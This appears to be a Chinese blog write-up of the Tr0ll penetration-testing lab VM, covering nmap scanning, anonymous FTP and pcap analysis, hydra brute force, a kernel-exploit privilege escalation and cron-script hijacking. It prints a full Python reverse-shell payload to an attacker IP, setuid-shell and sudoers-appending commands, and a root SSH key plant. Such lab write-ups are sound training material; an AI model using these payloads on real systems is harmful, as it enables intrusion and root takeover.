每天都要加油哦!


0x00  信息搜集

首先找到一下靶机的ip,并扫描端口。

靶机和kali都是桥接。

那么先看一下kali的ifconfig信息。

nmap -sn 192.168.0.0/24  因为我扫的太慢了。所以就仅扫描主机了.

11是kali。猜测10是靶机。扫描一下端口。

┌──(root㉿wxw)-[~]
└─# nmap 192.168.0.10 -sS -sV -A -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-25 03:01 CST
Nmap scan report for 192.168.0.10
Host is up (0.00076s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.0.21
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx 1 1000 0 8068 Aug 09 2014 lol.pcap [NSE: writeable]
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
| 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
| 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Aggressive OS guesses: Linux 3.2 - 4.9 (97%), Linux 3.10 - 4.11 (94%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (94%), Android 5.1 (94%), Linux 3.2 - 3.16 (94%), Sony Android TV (Android 5.0) (93%), Linux 3.13 (93%), Linux 3.16 (93%), Linux 4.8 (93%), Android 7.1.2 (Linux 3.4) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

应该就是这个。先看看http服务。

似乎没有什么信息。扫描一下目录吧。

dirsearch扫出来两个有用信息。

查看一下robots.txt,似乎没有什么有用信息。

又是一张图片。似乎也没什么用。

0x01  FTP和wireshark流量分析

看看ftp协议。我们从上面得到以下信息。

因为有匿名访问。登陆ftp 192.168.0.10。密码为空。

用get将流量文件下载下来

命令行输入wireshark lol.pcap。打开wireshark

因为是两个ip的对话。所以我们要看ftp协议。

最终一下tcp流。

翻译一下

这里枚举出了一个文件。Secret_stuff.txt文件。

同样追踪tcp流,得到以下信息。

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P

Sucks, you were so close... gotta TRY HARDER!

后来发现这是一个目录。

0x02  

访问那个txt文件。可能是在某个目录下。或者只是一个诱惑而已。

访问sup3rs3cr3tdirlol目录

发现一个文件

是一个二进制文件。

用file命令查看一下。

是一个32位的可执行程序。

用exiftool查看一下它的简单信息

使用strings查看一下字符信息。

有两个有用信息。

这是一个文件夹

查看一下文件夹的内容。

它提示你有密码,不是文件名就是文件内容。

一个是账号,一个是密码。用九头蛇hydra暴力枚举!

一秒枚举出来密码

0x02   第一种内核提权

立刻登陆!

ssh overflow@192.168.0.10

成功登陆

这是一个伪shell

安装了python。我们用python -c 'import pty; pty .spawn("/bin/bash")'  获得回显shell

提权进入tmp目录。

使用uname -a查看系统信息.

uname -a命令用于显示有关系统内核和操作系统的详细信息。它返回一个包含以下内容的字符串:

内核名称:显示当前正在运行的内核的名称。

主机名:显示系统的主机名。

内核版本号:显示当前运行内核的版本号。

操作系统类型:显示操作系统的类型,例如Linux。

发行版信息:可能包括发行版名称、版本号和其他特定信息。

由上面的信息可以知道它是Ubuntu系统。

我们来搜索一下它的exp

有两个可以利用的exp

locate定位,然后把copy文件放到桌面,方便利用

打开文件,看看怎么用。

只需要gcc编译就行了。

在本机创建一个http服务。

注意一定要在tmp目录下。

成功内核提权

最终拿到flag

0x03  计划任务重写

第1种方法   python反弹shell

这个靶场比较特殊,每隔五分钟就会强迫你退出ssh,并且删除tmp目录的所有文件。猜测这可能是计划任务。一个脚本。

find / -name cronlog 2>/dev/null  查看计划任务日志信息。

查看这个cleaner.py文件在哪里。

查看这个文件的权限,发现是最高权限。

但是用vim不能编辑。

我们用nano编辑。编辑完ctrl x,再按y保存。

将python反弹shell的脚本,编写进cleaner.py里面。

#!/usr/bin/python
def con():
    import socket, time,pty, os
    host='10.211.55.19'
    port=9999
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((host,port))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    os.putenv("HISTFILE",'/dev/null')
    pty.spawn("/bin/bash")
    s.close()
con()

过了几分钟,接收到反弹shell

第2种方法  创建root可执行程序,获得root权限

os.system('cp /bin/sh /tmp/dayu1')  把/bin/bash移动到tmp目录下。
os.system('chmod u+s /tmp/dayu1')  赋予最高权限

或者编辑脚本以将用户溢出添加到sudoers文件中可以sudo su到root用户:
os.system('echo "overflow ALL=(ALL) ALL" >> /etc/sudoers')

再python脚本里面写入

import os
import sys
try:
os.system('cp /bin/sh /tmp/sh')
os.system('chomd u+s /tmp/sh')
except:
sys.exit()

第3种方法  RSA私钥登陆SSH

本机生成ssh钥对。将公钥放到/root/.ssh/authorized_keys目录下即可。

mkdir /root/.ssh; chmod 775 .ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICf+uyOJDBJOZywRET3dFXHFJixzkAncha3eX4dZ0nJO root@wxw" >> /root/.ssh/authorized_keys

可以直接登陆!

【第4个渗透靶机项目】 Tr0ll的更多相关文章

  1. EVM靶机渗透

    前言 靶机下载地址: https://download.vulnhub.com/norzhctf/Basilic.ova 通过渗透靶机来学习相关知识以便提高在真实环境的渗透能力 ==. 安装: 我是用 ...

  2. billu b0x2靶机渗透

    实战渗透靶机billu b0x2 攻击kali :192.168.41.147 靶机b0x2: 192.168.41.148 起手先nmap扫了一下 扫到了四个开放的端口,有ssh,http,rpcb ...

  3. Acid靶机渗透

    Acid渗透靶机实战 攻击机:kali 192.168.41.147 靶机: acid 192.168.41.149 信息收集 ip发现 开启Acid靶机,通过nmap进行局域网存火主机扫描.![]( ...

  4. ATT&CK 实战 - 红日安全 vulnstack (一) 靶机渗透

    关于部署:https://www.cnblogs.com/Cl0ud/p/13688649.html PS:好菜,后来发现内网主机还是PING不通VM1,索性三台主机全部配成NAT模式,按照WEB靶机 ...

  5. 小白日记28:kali渗透测试之Web渗透-扫描工具-Nikto

    扫描工具-Nikto #WEB渗透 靶机:metasploitable 靶场:DVWA[默认账号/密码:admin/password] #新手先将DVWA的安全性,调到最低,可容易发现漏洞 侦察[减少 ...

  6. [TOP10]十大渗透测试演练系统

    本文总结了目前网络上比较流行的渗透测试演练系统,这些系统里面都提供了一些实际的安全漏洞,排名不分先后,各位安全测试人员可以亲身实践如何利用这个漏洞,同时也可以学习到漏洞的相关知识. DVWA (Dam ...

  7. MSF渗透测试-CVE-2017-11882(MSOffice漏洞)

    1.测试环境 2.测试前准备 3.测试过程 -3.1虚拟机环境测试 -3.2局域网靶机测试 4.测试感想 1.测试环境 攻击机: OS:kail IP:192.168.15.132/192.168.1 ...

  8. 记某gov门户网站渗透测试(已修复)

    前言: 免责声明:涉及到的所有技术仅用来学习交流,严禁用于非法用途,未经授权请勿非法渗透.否则产生的一切后果自行承担! 该渗透测试项目为已授权项目,本文已对敏感部分做了相关处理. 正文: SQL注入( ...

  9. web系列教程之php 与mysql 动态网站 。检索 与更新。

    接着上次WEb 系列开发之php 与mysql动态网站入门. 个人觉得,学习技术就像一棵大树,主干很重要,枝叶其次.对于学习技术,我们应该分清主次关系.怎么学?为什么要学?有一个较好的分寸. 有时候觉 ...

  10. 各种Web漏洞测试平台

    Sqli Lab​支持报错注入.二次注入.盲注.Update注入.Insert注入.Http头部注入.二次注入练习等.支持GET和POST两种方式. https://github.com/Audi-1 ...

随机推荐

  1. 中断操作:AbortController学习笔记

    前端面试一般喜欢问: 请手写一个带取消功能的延迟函数,axios 取消功能的原理是什么? 如何中断请求fetch的原理分析和应用? 在看来<使用 AbortController 终止 fetch ...

  2. 电商流量分析怎么做?试试这款数据工具 DataLeap!

    更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 作为成熟的电商模式,货架场景可以让商家以更低的门槛入驻,让消费者完成更高销量的购买和复购. 在这一场景下,运营人员 ...

  3. Solon2 开发之IoC,二、构建一个 Bean 的三种方式

    1.手动 简单的构建: //生成普通的Bean Solon.context().wrapAndPut(UserService.class, new UserServiceImpl()); //生成带注 ...

  4. CountDownLatch、CyclicBarrier 使用区别

    主要区别 CountDownLatch:所有子线程完成后,再执行主线程 CyclicBarrier: 所有子线程就绪后,再执行子线程 CountDownLatch 所有子线程完成后,再执行主线程 多线 ...

  5. SQL Server 项目中 SQL 脚本更新、升级方式,防止多次重复执行

    MySQL 项目中 SQL 脚本更新.升级方式,防止多次重复执行 Oracle 项目中 SQL 脚本更新方式 一套代码,多家部署时,在SQL脚本升级时,通过一个SQL文件给运维,避免出现SQL执行序顺 ...

  6. JAVA CRC16

    JAVA CRC16 /** * CRC-16 * * <table width="400px" border="1" cellpadding=" ...

  7. 手把手教你在 Windows 环境中搭建 MQTT 服务器

    前言 前些天要对接一家硬件商的设备数据,对方使用的 MQTT 协议点对点透传,所以又赶紧搭建 MQTT 服务器,写 .NET 程序接收数据等等,今天分享一下如何搭建 MQTT 服务器. MQTT 协议 ...

  8. 3 分钟看完 NVIDIA GPU 架构及演进

    近期随着 AI 市场的爆发式增长,作为 AI 背后技术的核心之一 GPU(图形处理器)的价格也水涨船高.GPU 在人工智能中发挥着巨大的重要,特别是在计算和数据处理方面.目前生产 GPU 主流厂商其实 ...

  9. MVVM架构

    一.MVVM架构和Jetpack MVVM即Model-View-ViewModel的缩写,它的出现是为了将图形界面和业务逻辑,数据模型进行解耦.在前面章节所学习的Jetpack组件,大部分是为了能够 ...

  10. docker centos 容器时间与宿主机时间不一致

    上图 容器时间不一致会造成N多问题,估计各位看官儿应该深有体会. 我处理的方式是在,dockerfile 中进行增加一条命令进行设置: RUN cp /usr/share/zoneinfo/Asia/ ...